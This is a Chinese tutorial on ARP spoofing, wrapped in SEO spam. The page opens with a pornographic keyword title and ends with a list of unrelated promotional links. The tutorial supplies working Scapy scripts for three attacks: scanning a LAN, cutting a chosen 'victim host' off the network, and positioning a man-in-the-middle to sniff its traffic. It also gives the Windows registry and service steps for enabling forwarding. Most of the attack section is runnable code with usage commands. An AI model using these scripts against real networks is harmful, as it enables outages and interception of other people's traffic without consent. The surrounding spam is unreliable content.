中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

愛淘寶淘寶網(wǎng)首頁seo關(guān)鍵詞排名優(yōu)化技巧

愛淘寶淘寶網(wǎng)首頁,seo關(guān)鍵詞排名優(yōu)化技巧,佛山網(wǎng)站建設(shè)費用預(yù)算,怎么做網(wǎng)站的301ARP中間人攻擊(ARP spoofing)是一種利用本地網(wǎng)絡(luò)的ARP協(xié)議漏洞進(jìn)行欺騙的攻擊方式,攻擊者會向目標(biāo)主機發(fā)送虛假ARP響應(yīng)包,使得目標(biāo)主機的ARP緩存中的IP地址和MAC地址映射關(guān)系被篡改,從而使得目標(biāo)主機將網(wǎng)絡(luò)流量發(fā)送到攻…

ARP中間人攻擊(ARP spoofing)是一種利用本地網(wǎng)絡(luò)的ARP協(xié)議漏洞進(jìn)行欺騙的攻擊方式,攻擊者會向目標(biāo)主機發(fā)送虛假ARP響應(yīng)包,使得目標(biāo)主機的ARP緩存中的IP地址和MAC地址映射關(guān)系被篡改,從而使得目標(biāo)主機將網(wǎng)絡(luò)流量發(fā)送到攻擊者指定的虛假MAC地址。攻擊者可以在不被發(fā)現(xiàn)的情況下竊取目標(biāo)主機的網(wǎng)絡(luò)流量、信息等,也可以進(jìn)行其他的惡意行為,如中間人攻擊、監(jiān)聽等。

首先我們來實現(xiàn)一個簡單的ARP掃描功能,要實現(xiàn)ARP探測功能很容易,如下代碼中我們分別封裝實現(xiàn)兩個函數(shù),函數(shù)Parse_IP用于傳入一個IP地址字符串自動生成該網(wǎng)段內(nèi)的所有主機數(shù),函數(shù)ARP_Scan則用于發(fā)送ARP數(shù)據(jù)包,在構(gòu)造時直接使用ARP函數(shù)即可,構(gòu)造后通過sr1將其發(fā)送出去并等待返回結(jié)果。

from scapy.all import *
import argparse
import threading,time
import logging# 生成網(wǎng)段信息,例如輸入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):_split = targets.split('/')first_ip = _split[0]ip_split = first_ip.split('.')ipv4 = range(int(ip_split[3]),int(_split[1])+1)addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]return addr# 通過ARP協(xié)議掃描局域網(wǎng)中在線的設(shè)備
def ARP_Scan(address):try:ret = sr1(ARP(pdst=address),timeout=5,verbose=False)if ret:if ret.haslayer('ARP') and ret.fields['op'] == 2:print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))except Exception:exit(1)if __name__ == "__main__":logging.getLogger("scapy.runtime").setLevel(logging.ERROR)parser = argparse.ArgumentParser()parser.add_argument("-s","--scan",dest="scan",help="輸入一個掃描網(wǎng)段")args = parser.parse_args()# 使用方式: main.py -s 192.168.1.1/100if args.scan:addr_list = Parse_IP(args.scan)for item in addr_list:threads = []t = threading.Thread(target=ARP_Scan,args=(item,))threads.append(t)t.start()for item in threads:item.join()else:parser.print_help()

上述代碼通過指定-s并傳入一個地址網(wǎng)段192.168.9.0/24則自動計算該網(wǎng)段主機數(shù),并依次對主機進(jìn)行存活檢測,輸出效果圖如下所示;

當(dāng)我們能夠得到內(nèi)網(wǎng)中特定主機的IP地址以及MAC地址后,則下一步就可以使用ARP斷網(wǎng)攻擊了,該攻擊原理是攻擊者在目標(biāo)網(wǎng)絡(luò)中發(fā)送虛假的ARP響應(yīng)包,使得目標(biāo)設(shè)備誤認(rèn)為網(wǎng)關(guān)的MAC地址已經(jīng)更改為攻擊者的MAC地址,導(dǎo)致目標(biāo)設(shè)備無法正常訪問外部網(wǎng)絡(luò),從而達(dá)到網(wǎng)絡(luò)斷網(wǎng)的目的。

讀者在使用ARP斷網(wǎng)之前還是需要通過ipconfig /all命令確定當(dāng)前網(wǎng)卡的網(wǎng)卡名稱,如下圖所示網(wǎng)卡描述則是我們需要的東西;

接著來看一下如何實現(xiàn)ARP斷網(wǎng)攻擊的,斷網(wǎng)攻擊的核心在于SendPayLoad函數(shù),該函數(shù)每次調(diào)用都將發(fā)送兩個數(shù)據(jù)包,第一個數(shù)據(jù)包用于偽造網(wǎng)關(guān)欺騙目標(biāo)計算機我是網(wǎng)關(guān),第二個數(shù)據(jù)包用于偽造被欺騙計算機,用于向網(wǎng)關(guān)表明身份,有了這兩個數(shù)據(jù)包并配合多線程發(fā)包則此時被攻擊主機將會出現(xiàn)網(wǎng)絡(luò)無法連接的情況。

from scapy.all import *
import argparse
import threading,time
import logging# 創(chuàng)建并發(fā)送有效載荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):print("[+] 目標(biāo)MAC: {} 目標(biāo)IP: {} 發(fā)送: 2 packets".format(tgtMac,tgtIP))# 生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計算機sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)# 生成ARP數(shù)據(jù)包,偽造目標(biāo)計算機欺騙網(wǎng)關(guān)sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="輸入接口名")parser.add_argument("-g","--gateway",dest="gateway",help="輸入網(wǎng)關(guān)地址")parser.add_argument("-t","--target",dest="target",help="輸入被害主機地址")args = parser.parse_args()# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10if args.gateway and args.target:srcMac = get_if_hwaddr(args.interface)                 # 通過接口名稱獲取本機MAC地址tgtMac = getmacbyip(args.target)                       # 通過IP地址獲取目標(biāo)計算機的MAC地址gatewayMac = getmacbyip(args.gateway)                  # 指定本機網(wǎng)段的網(wǎng)關(guān)MAC地址while True:t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))t.start()t.join()time.sleep(1)else:parser.print_help()

讀者在調(diào)用時需要傳入三個參數(shù),首先通過-i傳入網(wǎng)卡名稱,接著通過-g指定當(dāng)前網(wǎng)段內(nèi)網(wǎng)關(guān)名稱,使用-t用于指定被害主機地址,運行后如下圖所示;

有了ARP斷網(wǎng)接著就來實現(xiàn)ARP嗅探功能,針對斷網(wǎng)攻擊對于攻擊者來說其實無法得到更多有用的數(shù)據(jù),我們還是希望能夠監(jiān)控目標(biāo)主機的數(shù)據(jù)包,并通過分析數(shù)據(jù)包得知一些特殊操作,為了實現(xiàn)這個功能,就需要改進(jìn)斷網(wǎng)程序讓其具備嗅探的功能,要實現(xiàn)嗅探而不是斷網(wǎng)則需要進(jìn)行兩步配置,首先需要開啟注冊表轉(zhuǎn)發(fā)功能,此處可以輸入命令regedit打開注冊表編輯器,并在其中定位到:

  • HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters

選擇下面的項目IPEnableRouter:REG_DWORD:0x0 找到項目鼠標(biāo)右鍵修改數(shù)值為1至此即可開啟主機的IP數(shù)據(jù)路由功能。

接著讀者還需要打開系統(tǒng)服務(wù)菜單,并找到Routing And RemoteAccess數(shù)據(jù)包轉(zhuǎn)發(fā)服務(wù),此處如果沒有打開請自行將其開啟,當(dāng)開啟后我們的主機將會具備路由轉(zhuǎn)發(fā)功能,這樣即可實現(xiàn)模擬路由器的效果。

嗅探的原理很簡單,如下是一個完整的數(shù)據(jù)包嗅探工具,其中createArp2Station函數(shù)用于生成偽造網(wǎng)關(guān)的數(shù)據(jù)包用于欺騙客戶端,createArp2Gateway函數(shù)則用于偽造目標(biāo)主機數(shù)據(jù)包并欺騙網(wǎng)關(guān),當(dāng)有了這兩個函數(shù),再配合sniff抓包即可實現(xiàn)數(shù)據(jù)包的捕獲,如果讀者需要自行分析數(shù)據(jù)包來往則可以自定義Packet_CallBack回調(diào)函數(shù)實現(xiàn)。

import sys,os,threading
import argparse
from scapy.all import *# 生成ARP數(shù)據(jù)包,偽造網(wǎng)關(guān)欺騙目標(biāo)計算機
def createArp2Station(interface,target_ip,gateway_ip):dst_Mac=str(getmacbyip(target_ip))self_Mac=str(get_if_hwaddr(interface))Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)try:sendp(Ether_data,inter=2,iface=interface,loop=1)except Exception as e:print("目標(biāo)ARP數(shù)據(jù)發(fā)送失敗!")# 生成ARP數(shù)據(jù)包,偽造目標(biāo)計算機欺騙網(wǎng)關(guān)
def createArp2Gateway(interface,target_ip,gateway_ip):dst_Mac = getmacbyip(gateway_ip)self_Mac = get_if_hwaddr(interface)Ether_data = NoneEther_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)try:sendp(Ether_data, inter=2,iface=interface,loop=1)except Exception as e:print("網(wǎng)關(guān)ARP數(shù)據(jù)發(fā)送失敗!")def Packet_CallBack(pkt):if pkt.haslayer(IP):if pkt.getlayer(IP).src != "127.0.0.1":ip_src = pkt.getlayer(IP).srcip_dst = pkt.getlayer(IP).dstprint("源地址: {} ---> 目標(biāo)地址: {}".format(ip_src,ip_dst))if __name__ == "__main__":# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10parser = argparse.ArgumentParser()parser.add_argument("-i","--interface",dest="interface",help="輸入網(wǎng)卡名稱")parser.add_argument("-t","--target_ip",dest="target_ip",help="輸入目標(biāo)主機IP")parser.add_argument("-g","--gateway",dest="gateway",help="輸入網(wǎng)關(guān)地址")args = parser.parse_args()if args.interface and args.target_ip and args.gateway:try:t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))t1.setDaemon(True)t1.start()t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))t2.setDaemon(True)t2.start()sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)except Exception:sys.exit(1)while True:passelse:parser.print_help()

讀者可自行運行上述程序,并通過-i屬性指定網(wǎng)卡名,通過-g屬性指定網(wǎng)關(guān)地址,通過-t指定為被害主機地址,運行后讀者即可看到被害主機的數(shù)據(jù)包流向信息,如下圖所示;

此時被害主機的所有數(shù)據(jù)包都會經(jīng)過我們的主機,讀者可打開WireShark并啟動抓包,此時輸入輸入不同的過濾語句,即可指定需要查看的數(shù)據(jù)包類型,此時我們就是實現(xiàn)了對特定主機的監(jiān)控,當(dāng)然這種監(jiān)控數(shù)據(jù)包會摻雜我們自己的主機發(fā)出的,讀者可自行編寫過濾規(guī)則實現(xiàn)過濾;

http://www.risenshineclean.com/news/37938.html

相關(guān)文章:

  • 揭陽城鄉(xiāng)建設(shè)局網(wǎng)站seo網(wǎng)站關(guān)鍵詞優(yōu)化工具
  • 網(wǎng)上書店網(wǎng)站建設(shè)設(shè)計的收獲惡意點擊競價是用的什么軟件
  • 世界頂級網(wǎng)站設(shè)計谷歌chrome
  • 北京做網(wǎng)站公司北京seo優(yōu)化方案
  • 重慶物流公司網(wǎng)站建設(shè)網(wǎng)站建設(shè)企業(yè)建站
  • 創(chuàng)建個人網(wǎng)站多少錢外包推廣服務(wù)
  • 網(wǎng)站推廣和宣傳的方法推廣策略有哪些方法
  • 互聯(lián)網(wǎng)軟件外包網(wǎng)站怎么優(yōu)化排名靠前
  • 工商局網(wǎng)站如何做網(wǎng)登2022十大網(wǎng)絡(luò)營銷案例
  • php小程序商城青島谷歌優(yōu)化
  • 上海網(wǎng)站建設(shè)公司價格深圳網(wǎng)站seo服務(wù)
  • 已有網(wǎng)站開發(fā)app終端愛站工具網(wǎng)
  • 做資料網(wǎng)站是自己建服務(wù)器好還是租用好網(wǎng)絡(luò)營銷活動策劃方案模板
  • 廣東室內(nèi)設(shè)計公司排名內(nèi)江seo
  • 商丘加盟小吃網(wǎng)站東莞做網(wǎng)站優(yōu)化
  • 專做外貿(mào)庫存的網(wǎng)站天橋區(qū)seo全網(wǎng)宣傳
  • 廣州疫情防控博客seo優(yōu)化技術(shù)
  • 接網(wǎng)站建設(shè) 網(wǎng)站設(shè)計網(wǎng)站代發(fā)外鏈
  • 浙江做公司網(wǎng)站多少錢百度網(wǎng)盤網(wǎng)頁版登錄入口官網(wǎng)
  • 網(wǎng)站備案找回百度知道首頁官網(wǎng)
  • 建筑材料批發(fā)網(wǎng)站總裁培訓(xùn)班
  • 沈陽網(wǎng)站建設(shè)公司的公司百度搜索引擎提交入口
  • 網(wǎng)站開發(fā)建設(shè)需要什么網(wǎng)頁版百度云
  • app手機電視網(wǎng)站設(shè)計方案網(wǎng)絡(luò)營銷講師
  • 網(wǎng)站建設(shè)維護(hù)協(xié)議中山網(wǎng)站seo
  • 觀看床做視頻網(wǎng)站網(wǎng)站seo推廣方案
  • 滄縣網(wǎng)站制作蘭州搜索引擎優(yōu)化
  • 網(wǎng)站建設(shè)修改建議書店鋪如何運營和推廣
  • 小游戲大全網(wǎng)站論壇企業(yè)推廣
  • wordpress程序圖片打開慢成都比較靠譜的seo